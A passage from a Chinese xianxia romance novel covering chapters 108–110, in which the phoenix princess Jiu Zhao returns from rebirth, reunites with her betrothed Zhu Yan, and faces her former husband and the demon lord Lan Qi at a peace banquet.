时而亲吻她的长发,时而化作裙摆纹路上的一缕。 九昭感受到前所未有的平静。 她抬起手臂, 腕间红线尽褪, 象征着她同巫逐的契约已解, 不再受到牵制。 九昭却未放松, 她施展仙力, 分散所有仙识, 沉入体内,细细检查着每一处的情况。 确认没有异样,巫逐不曾在她身体里埋下其他隐患后,她辗转着,探知起心脉上的魔息。 心魔既成,并不会随着力量的增长而消解。 这种源于认知的负面产物,除非某日真正做到顿悟,否则只会壮大,无法解除——所以在过去仙魔未分家前,才会有那么多人宁愿舍去一部分情感和记忆,也要将心魔封印在无日渊当中。 但只要能活着就好。 等待着自己的,是今后万万年的漫长岁月,只要无人引诱,总是能够限制在可控范围内。 经历过真正的生死一线,九昭对于许多事都看开不少。 她抬头仰望凤凰神树高大的树干,心中猜测巫逐应当已经死了。 那时她尽管被剥夺五感,进入沉眠,可神力冲击丹田的剧烈震动,依然朦胧传来。 她的计划成功了。 巫逐的确爱上了她,并且心甘情愿牺牲自己,冲开封印的神力,助她完成涅槃。 九昭缄默着,不知该作何想。 她抬手贴住树皮,沟通起其中的元初之火,不多时,得到树心再无生息存在的回应。 早在无日渊替她挡了整整一夜雷劫的时候,巫逐于三界众生眼中,便已死去。 他们纠葛了百年,也相互算计了百年。 纵使他替她释放神力,又种下心魔隐患在她体内。 以及那不知是否真实存在的颌下珠之毒。 巫逐种种反复矛盾的行为,致使仇敌这一简单明了的关系逐渐模糊。 三清天先负他,他又负三清天。 他斩落了无数仙兵的头颅,又被父神刺瞎双目,囚在无日渊经受无尽折磨万年。 他差点杀了她,害她失去第二片本命翎,又被她算计产生真心,落得个死无葬身之地。 尘埃落定之日,九昭陡然发觉,自己面对他的死讯,失去了恨意,唯余迷惘的哀伤。 这是错吗? 这是巫逐一人的错吗? 纵使她为三清天的储君,也无法对着巫逐说出“这全都怪你”。 “感谢你的爱。” 她放轻动作,抚摸着粗糙的树皮,低声自言自语,“其实死前的最后一次对话,我同你说过的那些,不完全是虚情假意。从你的身上,我看出太多被隐藏起来的黑暗和不公…… “若压迫过你的恶人们依然活着,我发誓,我会替你报仇—— “我发誓,从今以后,血统不再是评判一个人是否可靠且高贵的标准,我会尽我所能,建立起一个更加清明,更加开放包容,令无错者不再受到压迫的三清天。” 语毕,她双手抱拳,深深揖了一礼。 没有任何留恋地转身离去。 …… 离开被神力结界包围起来的圣地,九昭陡然瞧见一座小木屋。 它突兀地矗立在焦黑土地之上。 外形无比简陋,仿佛是有谁迫不得已暂住在此,因而草草搭建。 是谁在这里,奉旨看守,亦或者,在等待她的归来? 脑海随之浮现一个叫人眷恋而歉疚的身影,九昭多了几分笃定的猜测,快步小跑过去。 木屋的大门上了锁,可锁在触及她的指间时自动解开。 九昭站在门口,屋内的光景一览无余。 几乎没有任何家几和摆设,靠近窗畔的一张窄床,上面堆积着一圈五颜六色的衣物。 衣物中间,是蜷缩起来,怀中同样抱着赤红长裙的祝晏。 他清癯的躯体微微起伏,似乎睡得极沉。 九昭收敛仙息,无声踱步过去,定睛一看,发觉那些衣物全都是自己留在南陵的衣裙。 相传动物会有筑巢行为。 木枝碎石的层层垒砌,会叫它们产生无与伦比的安心。 晏郎定是因为过于思念,才会如此。 建一座木屋在结界旁边,又找来这么多衣物,日复一日地守着自己。 九昭心口涌起一片温热之余,又不可避免地弥散开沉重的歉疚。 凤凰树心内,尽管她那么做,都是为了自保,可到底,辜负了祝晏这一片诚挚的爱意。 深深呼出一口浊气,九昭决心要在见过父神商议完巫逐的事后,同祝晏坦白,以期挽回自己犯下的错误,无论祝晏答应与否,她都会用尽全力治好他的弱症,让他余生都能过得健康愉快。 九昭原本想走,可触及祝晏眼底的青黑,终究不忍,选择暂时留了下来。 她也需要暂时留出些许时间,回顾往事,整理心绪。 她坐在床沿,安静地陪伴着祝晏。 顺便梳理一遍见到父神后,应该说的话做的事。 不多时,那气息绵长的青年倏忽呼吸急促起来,口中喃喃唤着“昭娘”睁开双眼。 眼帘映进九昭清瘦许多的面孔,他瞳孔边缘惊愕扩张一瞬,坐起来双手握上她的肩头。 “竟然、竟然是真的。”感受到布料之下触指回弹的肌肤,祝晏不敢置信地又握了握,转眼语无伦次起来,“我不是在做梦,昭娘、昭娘,你真的回来了——” “是啊,四十九年为期。” 九昭反手拥抱住他,“答应过你的,我一定会回来。” 祝晏一时没有开口,他的下颌陷在九昭的颈窝,身体从僵硬到震颤,幅度越来越大,而后有湿润的热意传来:“昭娘,我在,我在这里等了你四十九年,我好怕,好怕你再也回不来……” 久别重逢的激动,使得九昭同样眼中生热。 她听着祝晏略带哽咽的讲述,得知自从收到她进入树心的仙讯,他发誓一定要等到她修成归来,第一个与她相见,便不顾杏杳的劝告,选择搭建木屋,住在这荒凉焦漆的结界边缘。 他人虽住在此处,却也听从九昭的叮嘱,日日配合地接受杏杳的治疗。 “杏杳说过,想要延长寿命,你须得时刻待在长乐命牌内,借用神力滋养自身。”九昭将他翻来覆去地检查一遍,心疼道,“你怎么这么傻,非要住在这破烂屋子里,人也憔悴了好多。” “若还在长乐命牌里,我如何第一时间知晓你涅槃而出的消息。” 祝晏抱着她,眼角有泪,却止不住地笑,“幸好、幸好,终于被我等到了……” 两人相拥温存片刻,上头的情绪多少清醒了点。 九昭瞧着他容颜憔悴,但精神尚好,暂时放下心来,又惦记前去看望神帝的要紧事,遂同他说道:“晏郎,我有事要去见父神,你先回南陵等我吧,待我回来,便与杏杳商量医治你的事。” “你要见帝座吗?” 祝晏略显迟疑,却是没放开她的手,“现在恐怕不是最佳时机。” “为何?” 九昭不解挑起眉峰。 “一则,登天阶的修缮事宜已经完成,只为着你一直不曾从树心中醒来,几位金仙被耽搁在芸生世,一直没有返回三清天述职,不知真相的神署局那头,已经派人来问询过两次。” 说到这里,祝晏的表情明显有未尽之意。 他抬眸飞快逡巡九昭眉眼一圈,握着她手的掌心又微微加重了点力气,“另外,焚业海的魔尊兰祁来了,这几日他客居在紫微宫中,正与帝座商议仙魔两方的议和事宜。” “你说什么?” 曾经无比熟悉,如今又分外陌生的名字入耳。 九昭歪了歪头,仿佛一时没听懂祝晏到底说的什么意思。 祝晏没有回避她从短暂迷茫,到逐渐锋利的眼神。 “昭娘,我说,你闭关进入树心后没几年,焚业海便在魔尊兰祁的带领下,同我三清天爆发了战争,他不知从哪里修成了什么功法,突然实力大增,就连派去镇压的扶胥上神都受了重伤。 “这几十年间战局缠绵,仙魔互有胜负,还是月余之前帝座御驾亲征,才赢得最终的胜利。 “如今两方停战,为表诚意,兰祁亲自造访三清天,与帝座商量议和之事。” 108| 第108章 ◎“好久不见。”◎ 凤凰树心内度过的光阴。 说到底折磨的只是身心, 时间不算漫长。 高阶神仙随便一次勘悟境界的闭关,便要消耗数百年。 可九昭怎么也难想到,这期间竟然发生了如此多的事情。 扶胥受伤。 父神御驾亲征。 兰祁战败求和。 桩桩件件, 都让她生出无数恍在梦里的感觉。 她强迫自己快速消化这些事实, 那头祝晏又轻描淡写说起:“昭娘,另有一件事—— “帝座亲自率领军队大败焚业海后,大约是觉得接下来不会再发生危险,孟楚兄长便越过父王先斩后奏, 在帝座面前主动请缨说想上战场,帝座赏识兄长的勇气,封了他个先锋官的职位。 “也是不凑巧, 在追击魔兵的路上,兄长正好碰到兰祁,被他打成了重伤,两条手臂也废了。 “如今王妃正带着他四处求医问药, 但医仙们均道兄长的仙脉寸裂, 想来复原的机会渺茫。” 一切怎么会那么巧? 九昭的心底不由自主浮现出这个疑问。 就仿佛全程都有只看不见的大手在暗中推动。 九昭不知自己该从哪件事情开始思考, 只觉得每个环节看起来都没那么简单。 不过事有轻重缓急,当下她最在意的唯有神帝的身体。 紫微宫在议政, 不方便潜入, 她只好随口敷衍了句“残废的人是当不了神王的,连上天都觉得孟楚不配”, 又抓着祝晏试探道:“我不在的这些年, 你有没有见过父神, 他可一切安好?” “帝座时来探望我, 他一切都好。” 祝晏不疑有他, 温然朝她笑道, “昭娘单看他御驾亲征,还大败兰祁就知道了。” 说的也是。 若真如巫逐所言,父神中了慢毒,三清天尚未到危急存亡的时刻,就算扶胥受伤,总还有其他才能出众的将领可以选择,他何必拖着病体非要亲自出征? 把前后关节想通,九昭的担忧稍稍消弭些许。 如今也不得见,她只能先完成祝晏刚才提到的下界交接事宜。 “既如此,那我们先返回芸生世吧。” 她执起祝晏的手,起身想走,复顿住脚步,“不过不借助出入结界,直接开辟从三清天到芸生世的跨界阵法,是上神才能做到的事,我们要如何瞒着渡引仙官下去?” “帝座都已经为我们准备好了。” 祝晏自储物戒中掏出朵半开放的青蓝莲花,掷落在地。 随即一蓬神光爆出,笼罩二人。 …… 天上一年,人间一天。 算起来也不过三五月未曾相见。 九昭和祝晏并肩立于壶天珍宝斋前,瞧着客人进进出出,里头两道熟悉的身影忙忙碌碌。 “咳咳。” 她清了清嗓子,提醒内里自己的到来。 忽见两位驻守仙官的身形微滞,女仙离火的反应更快,三步并作两步小跑着迎了出来。 “殿、啊不,小姐——您回来了!” 九昭尚未说话,落在后方的巽泽一转身,笑着对客人们下达了委婉的逐客令:“对不住了各位,恰逢东家过来视察生意,今日得闭门歇业一天,下次各位再来,我给各位通通打八折!” 他这一通连哄带劝,还送了些颇有价值的古玩小件,到底没闹出什么风波。 待到店内彻底清空。 离火环顾一圈,郑重关上大门,将九昭和祝晏迎上三楼。 他们这一路上楼来的喧闹声,早就引起了住在三楼的另外二人注意。 “呜呜呜小姐,我好想您……” 从侍奉九昭起,就未曾与她分别这么久的绛玉,扑过来抱着她哭泣。 喜极而涕的心情促使下,她也顾不上保持面对君上应有的礼仪。 九昭无奈单手反抱着她,朝半丈外,驻步一瞬不瞬望着自己的朱映颔首:“你快给绛玉找块手帕来擦擦,否则我今日便要就着她的眼泪洗热水澡了——” “呜呜呜小姐您还取笑我……” 绛玉顿时哭得更大声了。 大家反倒纷纷笑了起来。 朱映的面容沉静如旧,内里的心绪却起伏如潮。 他平静了好一会儿,走上前来将两人分开,又拉着绛玉,利索下跪见礼:“恭迎殿下归来。” 另一边,离火打了个响指,唰唰两道法光降临在她身后。 见是昼芙和另一位金仙,瀛罗不知踪影,九昭难免挂心起来。 她正想询问瀛罗的情况,却闻走廊右侧房门轻轻开启的动静。 “小姐。” 温润悦耳的青年嗓音淌入耳畔,九昭猛地咬住嘴唇,象征欣喜的热意再度涌出眼眶。 她顾不得周边的几人如何看待自己,转身直奔声源而去。 “瀛罗!” 她迫切拉住青年的衣袖,进而握紧他体温偏低的双手,“你可大好了吗!” 那双剔透如宝石的眼珠自上而下,认真端详她片刻,瀛罗曲起手指,替她揩掉眼角洋溢的泪花,唇角随即勾起抹无奈而纵容的笑:“小姐别哭啊,我可好端端地站在您面前了……您方才还在笑话绛玉姑娘爱掉金豆呢,怎么这一刻反倒‘以身作则’起来了。” 眼帘映入残留在瀛罗指腹上的晶莹水光,九昭面颊微微一热,伸手捶了下他的肩膀:“我看也是好得差不多了,否则就凭你当初躺在寒玉床上病歪歪的模样,哪来的力气嘴坏!” “哎,小姐轻点,我如今还算半个病号——” …… 祝晏站在距离九昭和瀛罗一步开外,维持着温和的笑意,没说什么。 可更远处的几位旁观者却面面相觑,瞥见彼此眼底的无措和窘迫。 归根究底,其实他们并不清楚,当初连夜消失的九昭、祝晏和瀛罗去做了什么。翌日仅有一封盖有九昭专属印章的灵讯传来,说他们另有要务,修补登天阶的事宜交给剩下两位金仙。 虽心有不解,但九昭作为当场职位最高的督工兼储君殿下,无人敢对此提出异议。 好在认命修补几日,作为九昭身边第一统领仙官的朱映秘密上天,拜见神帝后为他们带来丰厚赏赐,远胜过应得恩赏数倍。与赏赐同步传达的,另有一道旨意—— 要求他们以神魂为誓,余生守口如瓶,不得对任何人提起三人连夜消失之事。 一月之前,瀛罗重返芸生世。 眼下,九昭又带着祝晏归来。 出门迎接最早的离火,眼尖捕捉到了他们十指紧扣,来不及松开的双手。 脑海更多了些有关感情纠葛的猜测。 莫非是什么狗血三角恋,殿下选择了祝晏仙君,而瀛罗世子遗憾退场……? 可此刻看来,殿下同瀛罗世子之间亲密依旧。 离火悄悄探头,打算觑一眼侧对着他们的祝晏脸色。 脖子伸了半截,祝晏冷不丁扭头过来,居高临下对上她的双眼。 狭长的翠色瞳孔陷在逆光之中,和煦如常,只是眸光被深灰色的阴影尽数笼罩,那片原本流淌着的翡翠湖泊,便成为了两湾凝结的深潭,多看几眼,竟让人有些毛骨悚然。 小动作被人捉住,离火吓得眨了眨眼。 视线再聚焦时,前端的场景恍若错觉。 祝晏对着她笑了笑,掌心朝上平摊,转眼多出个雪白瓷瓶:“此次差事,诸位都辛苦了,这是帝座命我赐予你们的。一共五颗仙丹,一人一颗,服下后能增长五千年的修为。” 同瀛罗寒暄结束的九昭骤闻这仙丹的功效助益,也不禁暗自咋舌。 提升修为的丹药,没有其他途径可以炼制,仅能从犯了错的罪仙身上提取。 五颗加起来一共两万五千年,如此赏赐,不可谓不珍贵。 九昭知晓丹药的贵重,其他人自然也知。 作为领头者的离火更是控制不住狂喜的面色。 “臣谢过帝座,此后定将恪尽职守,为三清天效犬马之劳!” 她恭敬跪地接过瓷瓶,倒出丹药分给自己和其余三人。 还给祝晏时,余光不经意扫过瓶隙—— 那散发着盈盈仙光的丹药,瓶底竟还躺着两粒。 刚才说的,不是五颗吗……? 不等离火想出祝晏这么做的原因,祝晏又将药瓶转手交到瀛罗手里。 “世子,这是帝座给你的赏赐。” 瀛罗看也未看,微笑推辞道:“此前九昭殿下已降恩于我,帝座着实不必再为我费心。” “更何况——” 他握着瓷瓶轻轻一摇,故作不解:“这剩余丹药,当有一粒是帝座赏予你的,这是何必?” “帝座的赏赐归帝座,还有一粒,是我私心的答谢。” 迎着瀛罗幽微的眼神,祝晏坦然勾起唇角,“感谢世子舍命替晏守护住了心中至宝。” …… 那两颗丹药,最后祝晏和瀛罗一个未留。 视察完登天阶修补情况,在九昭的提议下,赐给了两位接替他们差事,昼夜无休的金仙。 应尽的差事已毕,九昭命驻守仙官先行发送急讯,通知渡引仙君打开结界,而后与之告别。 来时只有她和祝晏两人。 去时却是浩浩荡荡一众。 回归三清天的路上,祝晏习惯性地落后一步,想要融入以瀛罗为首的下属仙官当中。 反被九昭扣住指尖。 “不必退后。” 九昭柔情且不容违拗的眸光望向他,“你是我认定的王夫,位置只在我身边,不在别处。” 这意外的告白来得太快太好。 好到祝晏大脑一片空白,只顺从本能将她牢牢抓住。 半晌,他的鼻腔溢出响亮促音:“……嗯!” …… 汹涌喷发的幸福感将祝晏淹没。 以至于他偶尔回首看向后方,连那个一贯以正当名义掩盖龌龊心思的瀛罗也面目可亲起来。 他依偎在九昭身边,晕乎乎地飞着。 整片天地化作一个巨大的酒坛,快要将他彻底溺毙。 这种幸福持续到三清天的入口越来越近、越来越近。 穿过神力结界,他们以正大光明的姿态,重新踏进这片始终高高在上的土地。 而作为迎接的。 是身穿隆重礼服,头戴十二旒的神帝。 以及分别位于他身畔左右的扶胥、和兰祁。 再往后,静默站立着一众面容或熟悉或陌生的仙官、士兵、仆婢。 数目相对,祝晏察觉到掌心里,属于九昭的手僵硬了一瞬。 他侧转余光,见她立刻如过去每一次出现在众人眼前那般,悄悄挺直背脊,半抬下巴。 语气却不复澄心池相遇时的傲慢和睥睨。 “好久不见。” 他听见她平静地说。 109| 第109章 ◎“你的眼光真是越来越退步了。”◎ 素来黑色不离身的扶胥今日一反常态, 穿了套深青的袍服。 反倒是九昭印象里热爱浅色的兰祁,饰墨玉冠,着玄霜衣。气度从容, 半点瞧不出是战败方的样子。 无人通知九昭, 神帝会在结界口等候,她更不曾预料到,会在此处碰上扶胥和兰祁。 世间的相遇在多数情况下,总是来得猝不及防。 视线望去的瞬息, 九昭的脑海并未浮现任何有关爱恨的情绪。 她只觉得,虽然两人尽在眼前,却恍若相隔天堑。 天堑的那头, 具象化的人事扭曲成抽象的符号,代表着她已然失去的、少不经事的往昔。 天堑的这头,则是被她掌握在手中的现在,以及还能够选择的未来。 这句念头的升起, 令九昭略微恍惚的瞳孔无声归于清醒。 是啊, 他们, 和更年少的自己,已是过去。 而不断回顾过去, 往往是最没有意义的事情。 所有人都只能向前看。 也不得不向前看。 毕竟力量强大如神明, 也做不到扭转光阴。 说完好久不见,九昭将目光转回神帝所在之处, 瞧着他如祝晏所言一般神采奕奕的面容, 她露出一线心安的笑意, 又迅速沉静面色, 朝神帝长揖到底, 恭敬唤道:“儿臣归来, 见过父神。” 她一丝不苟的行礼动作消解了结界前凝结的气氛。 而后除了她、神帝与兰祁以外,所有人合臂下跪,行全礼,高呼拜见神姬殿下。 这其中也包括祝晏。 他们一路上紧握的双手顺势为此分开。 兰祁澹默的目光掠过九昭,自上而下一瞥跪拜在她身边的青年,随即客气道:“看来神姬殿下不仅出色地完成了神帝交予的差事,于另一件人生大事上也有了着落,真是可喜可贺。” 九昭抬手道了声平身。 迎着兰祁的视线,她往祝晏的位置站得更近一点,理所当然地再度同他十指紧扣:“这是自然,距离三万岁的成人礼已然过去千年,本殿早已不是孩子,成家而后立业,总归没错的。” 她坦荡承认着祝晏的身份,而神帝更是颔首说道:“昭儿,你与阿晏回来就好。也是业尊生性热忱,听闻你归来述职,不愿坐在紫微宫稍事等候,定要与本座同来此地迎接。” 业尊,是兰祁的正式称谓,意为“业火淬炼而生的至尊”。 魔之一字,与仙对立,生来带有卑下的含义,只是神仙背地里贬低的私称。 九昭亦跟着拱手客套道:“父神与业尊关切,儿臣不胜感激。” …… 人都到齐,九昭前往神署局述职完毕后,神帝在璇玑宫办了个接风洗尘的宴会。 他座下最尊贵的左侧位置,安排给了远道而来的兰祁。 九昭坐在右侧,又于宴会开始之际,命人将祝晏的席位挪到自己下首的最近处。 见此情形,神帝也只是笑着打趣一句。 他的默认使得众仙看向祝晏的神情益发不同。 宴席觥筹交错,宾客推杯换盏,大有一片煌煌不夜天的气象。 管弦丝竹与欢声笑语交织的喧闹里,扶胥坐在兰祁的下方,小口啜饮玉杯中的酒液,视线聚焦在某处一动不动,偶尔碰上神仙和几位魔族使臣前来敬酒,才片语不发地仰首饮下。 九昭闻听他受了重伤,着意打量他片刻。 却觉得他浑身上下没半点伤重人士的痕迹。 既然表面看不出来,她索性不再费神,转头招架起又一批举杯到来的宾客。 她知晓自己酒量不好,特意叫侍奉的女婢取来鸳鸯酒壶,转动机关,一面是酒,一面是水。 宴席持续良久,九昭对敬酒之人来者不拒,喝了一杯又一杯,神志始终清明。隐居的这些年,她满手案牍政务,在诸位师长的教导下成熟不少,待人接物不复当年目中无人的骄纵模样。 从和祝晏的两心相许,到性情眼界的全然蜕变。 众仙将她的脱胎换骨看在眼里,舌下隐匿不宣的思绪又是一番改变。 其中,最欢喜的莫过于神帝,过去听见臣下们对于九昭的称赞,他清楚只是逢迎与讨好,因此并不多言,今日却一改内敛的态度,频频主动出声赞许,颇有种与有荣焉的骄傲感。 没有哪个儿女,不期盼父母为自己感到自豪。 九昭脸颊红扑扑的,与神帝对酌时,亦将杯中液体换成了仙酒。 连饮三杯,借此抒发内心完成父神所托的真挚喜悦。 …… 月上中宵,万物眠憩时,宴会终于散去。 虽正式宣告了彼此的关系,但到底尚未成婚,不便同进同出,祝晏先行告辞离去。 九昭在璇玑宫的花园里闲逛散了会儿酒气,想到还有事要做,又折返殿中,寻觅神帝身影。 却是来得时机不凑巧。 殿内打扫的仙婢告诉她,半炷香前神帝送别留到最后的魔族使臣,此刻人已前去休息。 九昭只好快步赶往寝宫。 神帝的起居范围内,仙禁森严,无论何等身份位阶,都不得随意动用法术。 九昭既觉醒改变外界对于自身的看法,便老老实实选择用双腿行路。 奈何两地相隔甚远,待到抵达神帝寝宫时,夜又深了许多,统领仙官丹曛立在门外守夜。 见到九昭,她略感惊讶:“殿下,您怎么来了?” “丹曛姑姑,父神可在里头?” 九昭一边问着,一边推开门想要进入。 又被丹曛伸手揽住:“殿下,帝座正在浸浴准备休息,前些日子他忙于征战,大败魔兵后又要处理两族议和以及后续的问题,夙兴夜寐,十分操劳,若无要紧事,您明日再来求见可好?” 神仙不似人族麻烦,特别是高阶神仙,有仙力术法加身,睡眠、沐浴、进食都非必要环节。 九昭与神帝相伴多年,深知他唯有在累极了的情况下,才会浸浴放松。 她没有强行闯入,沉吟几瞬,询问丹曛道:“我也回来的路上,听晏郎提及父神近期辛劳过度,才想漏夜前来问候父神,你既说了父神不便见我,那我问你几句也罢,父神身体可好?” “医官常来请平安脉,言及帝座并无大恙,仅是疲惫,多休息便会好。” 丹曛没多想,回答完九昭的问题,充满欣慰地望着她,仿佛在看一个终于长大的孩子。 继续问答几句,并无异常,九昭才转身告辞。 回去的脚步,较来时慢上许多。 九昭并无困意,她一壁走,一壁慢吞吞地思忖着。 前有祝晏,后有丹曛。 他们都不曾察觉父神的任何异样。 且自己也亲眼求证过,巫逐所述的中了慢毒者混沌、癫狂、神志不清的情形,并未发生。 可见的憔悴也不过是战事加上政务的操劳。 九昭越发觉得自己中了巫逐的诡计。 实则神帝并未中毒,可诞生的心魔却无法消弭。 它糅杂了来自她认知之间太多无法言说的阴暗面。 不知不觉,九昭陷入难解的思绪越来越深。 她出神地绕过一丛枝叶婆娑的灌木,却因未及时驻步,一下子撞上了从另侧现身的人影。 对上坚硬胸膛,最先受痛的,总是鼻尖。 九昭闷哼一声,垂落的长睫模糊了眼前景象,唯余身体在不自觉地踉跄后倒。 膝盖软下的刹那,相撞者及时伸出左手,握住她的臂肘。 以近乎搂抱的姿势将她搀入怀间,九昭才不至于摔倒出丑。 鼻梁的痛楚占据全部意识,九昭并未察觉到彼此的姿势有多暧昧,她借着对方的手臂缓了片刻,疼痛消解,含糊道:“多谢你,只怪本殿先前在出神想事,这才没注意你转出来,你不——” 要紧吧。 取代未尽语义,在眼前浮现的,是四个大字。 冤家路窄。 九昭那覆在面上的端持神姬假面紊乱一息。 她用力拍开搀扶在臂肘下方的手,径直后退一大步,逃也似地离开兰祁的怀抱。 直至回到安全往来距离,九昭悄然变化的表情才恢复镇定。 她喘匀气,抬起目光,若无其事问道:“深更半夜的,业尊不去休息,怎会出现在这里?” 然而,本应作答的另一方,却借着衣袖遮掩,无声捻了捻前端与她相触的指尖。 那一晃未晃的瞳眸静静抬起。 月色映照之下,但见薄绯的唇,冷白的肤。 过于鲜明的对比,如梦似幻,恍若魔障。 令九昭的后颈无端沁出大片肌肤颗粒。 “从扶胥上神到一个九尾狐族庶子,你的眼光真是越来越退步了。” 那魔障一般的青年半启唇瓣,吐出一句嘲语。 110| 第110章 ◎“我钟情你,也只钟情你。”◎ 神帝养子, 兰祁神君。 含章未曜,玉骨隽清。 上至紫微宫之主,下至区区低等仙奴。 他从来温厚亲和, 平等相待, 不自恃身份,亦不仗势欺人。 万年前,在背后不小心听到的,学宫夫子们对于青年的评价, 于九昭脑海猝不及防闪现。 紧接着,一道更加幽微的声音,贴着心底的阴暗处低低响起: 原来再性情平易的君子, 遇到厌恶刻骨之人,也会保持一贯到底的刻薄。 不过谁都已经不是小孩子了。 九昭再不会如通过去那般,被言语讥讽几句,便炸开凤凰毛叉腰上去同他吵架。 她缓了缓心神, 护短地替祝晏说起话来:“本殿记得业尊从前最看不惯以身份血统论高低的人, 怎么堪堪千年未见, 业尊竟也成了当日的自己口中,那等眼界狭隘之辈?” 感情之事, 如人饮水, 冷暖自知。 九昭也不打算在这里,同昔日的未婚夫讨论自己过得有多幸福。回怼完毕, 她转移话锋:“还有, 魔族使臣的住所不都被安排在二清天了吗, 业尊怎么半夜三更会出现在父神的寝宫附近?” 兰祁哂道:“下回, 丹曛的叮嘱别只听半截——焚业海的使臣是在二清天不错, 可神帝独留孤住在扶摇殿, 宴会饮了太多仙酒,神志越发清醒,横竖睡不着,孤便出来转转疏散酒意。” 扶摇殿九昭知晓。 那里一般会用来赐居给有事留在三清天,不方便回去的重要客人。 但它神帝寝宫的东南方,且相隔距离甚远。 除非有其他目的,否则疏散酒意没道理会来到这附近。 不解既在心中发生,九昭顿时目露警觉。 兰祁慢慢走近两步,对着她紧绷的面容俯下身躯:“怎么,怕孤对你的父神图谋不轨?” 他素知九昭并行,一语中的。 却语调未变,神容亦未变地反问:“莫道戍卫三清天的军兵数量几何,光是这寝宫附近,便有数十位法力高强的仙官守护——我焚业海的使臣皆在二清天,孤独身一人,又能做些什么?” 九昭的警惕不减分毫,月夜下随着兰祁动作扩张的瞳孔像极了迎敌的猫:“你既选择与妖魔为伍,我又岂知你暗里藏了多少花招?何况,这几千年以来,你倒是功力渐涨,竟能重伤扶胥。” “都是合离两百年的前夫了,你还如此关心,也不怕祝晏仙君误会。” 从两族相争,别怀用心的大事,下降到阴阳旧爱,鸡毛蒜皮,只需要一瞬。 九昭一时没跟上兰祁弹指转变的思路,又听见他直起身来,抱着双臂,兀自笑了声:“也对,孤忘了九昭殿下一向如此,胸怀广阔,一颗博爱之心能容纳世间万千。” 若非见识过兰祁的真面目,明白他究竟有多厌恶自己。 九昭差点以为他句句带刺的指摘,是在争风吃醋。 ……呸! 什么争风吃醋。 说起这个词,一阵不适的恶寒就在身体蔓延开来。 九昭在心中恶狠狠地连呸几声,将兰祁翻来覆去骂了个痛快。 方才轻抬荷面,端起庄重疏离的神姬架子,半是客气,半怀警告地提醒道:“什么博爱,什么广阔,业尊的话,本殿倒是听不懂了。不过散完酒气业尊还是早点回去吧,免得这夜深露重黑灯瞎火的,被守卫的仙官们误认成刺客扣押起来——那对三清天和焚业海的邦交也是无益的。” 她这话明显就是下逐客令了。 就差直接对着兰祁说“话不投机半句多,看见你就心烦”。 可被警告的一方,却是半点自知之明也无。 他如渊停的高山般立在九昭身前,不错眼地注视着她。 过去作为沉默的跟班,兰祁身量虽高,却总有种说不出的少年单薄。此刻再看,纵使九昭不愿承认,那过于明显的身高体型差距,总叫她有种弱小猎物碰上巨大猛兽的不适感。 不适感在兰祁直勾勾的眸光中越发明晰。 就在九昭的凤凰毛一根一根竖起,将要维持不住高冷神姬的伪装时,他眼波微荡,转而继续说起牛头不对马嘴的话:“扶胥被孤重伤,又何止这次,原来你真是什么都不知晓。” 说完,他抛下满头问号的九昭利落走了。 没半点留恋,也不曾遗下一道眼风。 …… 经历过心魔幻境,层层磋磨,九昭好容易才与过去的自己和解。 她放下了兰祁,也放下了扶胥。 不再交织过多的爱恨,再度相遇亦能保持平稳镇静。 然而,兰祁最后留下的一句谜语似的话,又成功令九昭满脑子只剩下他。 什么重伤不止一次。 什么原来她全都不知道。 她该知道什么? 这些话中的关联又是什么? 九昭绞尽脑汁,只记得两百年前,她未与扶胥合离之际,他也伤重过一次。 父神说是派人追击兰祁时,不小心中了埋伏,被凤凰真血之力所伤。 她也询问过这另一半真血源于何人。 父神的回答是还未到说与她听的时候。 兰祁原身为仙草,是木属性的神仙。 九昭自然也不会把另一半凤凰真血的持有者,往他那处想。 思来忖去,想不明白。 仿佛除她之外,所有身边人都背负了无数秘密。 九昭决心在与神帝说起巫逐的秘密时,再好好问一问当年相关的事宜。 她飞回离恨天,阔别多年,奉命值守的缃璧见到她,又是好一阵相拥哭泣。 等一切安顿下来,又花费大半个时辰。 九昭饮了醒酒汤,浸浴过后换上轻柔的亵袍。 她撩开衾被坐上床去,一双有力的臂膀自后袭上。 “谁?” 九昭不自觉地用上了扶胥传授过的体术,抬肘凌厉向后一击。 却半道被人张开的手掌密密包裹:“昭娘,是我。” 解除了隐匿术的祝晏自大床的里处显出身来,一手揽住九昭的腰肢,一手则环在她的颈侧。 亲昵的姿势不同以往。 再加上祝晏由于体弱,经年低于常人的体温。 仿佛一条冰凉光滑的巨蟒自腰间而上缠绕。 出于本能,九昭的身体僵直一瞬,又感觉到有轻柔的吻落在腮旁。 祝晏的唇是温热的。 温热得正好。 “抱歉,是我不让缃璧她们提前告诉你的—— “我好想你,心脏想你,身体也想你。 “昭娘,我想……” 后头几个字被磁性且含糊的话音吞没。 那话音逐渐化作火苗,自耳廓开始,游走于九昭四肢百骸的各处。 欲念的缺口经吻打开。 九昭体内的另一个自我亦在诚实表达着对于祝晏的思念和渴望。 理智尚存,她反手拢着祝晏解衣的指尖,迟疑问道:“晏郎,你的身体可还好……?” 话未完全出口,祝晏温静若水的神容,第一次出现尊严被质疑的轻微懊恼。 他的臂膀更紧了些,齿尖咬上她的耳垂,沉声道:“昭娘一试便知。” …… 携云赴梦,巫山已极。 不同于巫逐所创造出来的心魔幻觉,切实拥抱爱人的亲密无间,令九昭说不出的满足。 她扯过衾被,盖住彼此,丝制布料隆叠出暧昧弧度。 她缓缓俯落腰肢,整个人趴在祝晏胸膛,额头沁出的热汗被青年随手抹去。 “昭娘为何这么晚才归来?” 并无长簪束髻,她鸦黑色的发丝倾泻如瀑,与铺在床面的银发错杂在一处,而后又被祝晏小心翼翼地拣出一绺,黑白交绕着缠在他的食指,他沙哑的尾音隐有喘息。 九昭本不欲道出自己夜半邂逅兰祁的经过,但想到夫妇一体,蓄意隐瞒终归会留下祸患,遂坦诚道:“疏散酒气的路上遇到了业尊,同他交谈了几句,所以耽搁了。” “业尊?” 九昭看不到的明处,祝晏潋滟涣散的眸光瞬间聚焦起来。 他状似闲聊般地问着:“业尊都和昭娘说了些什么?” “也没什么,不过是相看两相厌,互相试探嘲讽几句罢了。” 九昭回答的态度没有半分回避,说起“相看两相厌”一词更是真心实意。 见她对兰祁的疏远冷淡不假,祝晏才稍稍放松下来:“两族议和在即,业尊这位战败方难免心绪不平,若真能促成和平,昭娘对他的挑衅言辞,能忍便忍了吧,横竖胜负的事实摆在眼前。” 九昭本也懒得计较。 她既归来,一言一行便代表着三清天颜面。 真论起来,宽容并非软弱,丢脸的反倒是兰祁。 输了战争,还输了气度。 九昭半阖着眼睛,低低应了声,表示对于祝晏想法的赞成。 气氛随即陷入温情的沉默。 快意残留在脑海,四肢懒倦倦地不想动弹。 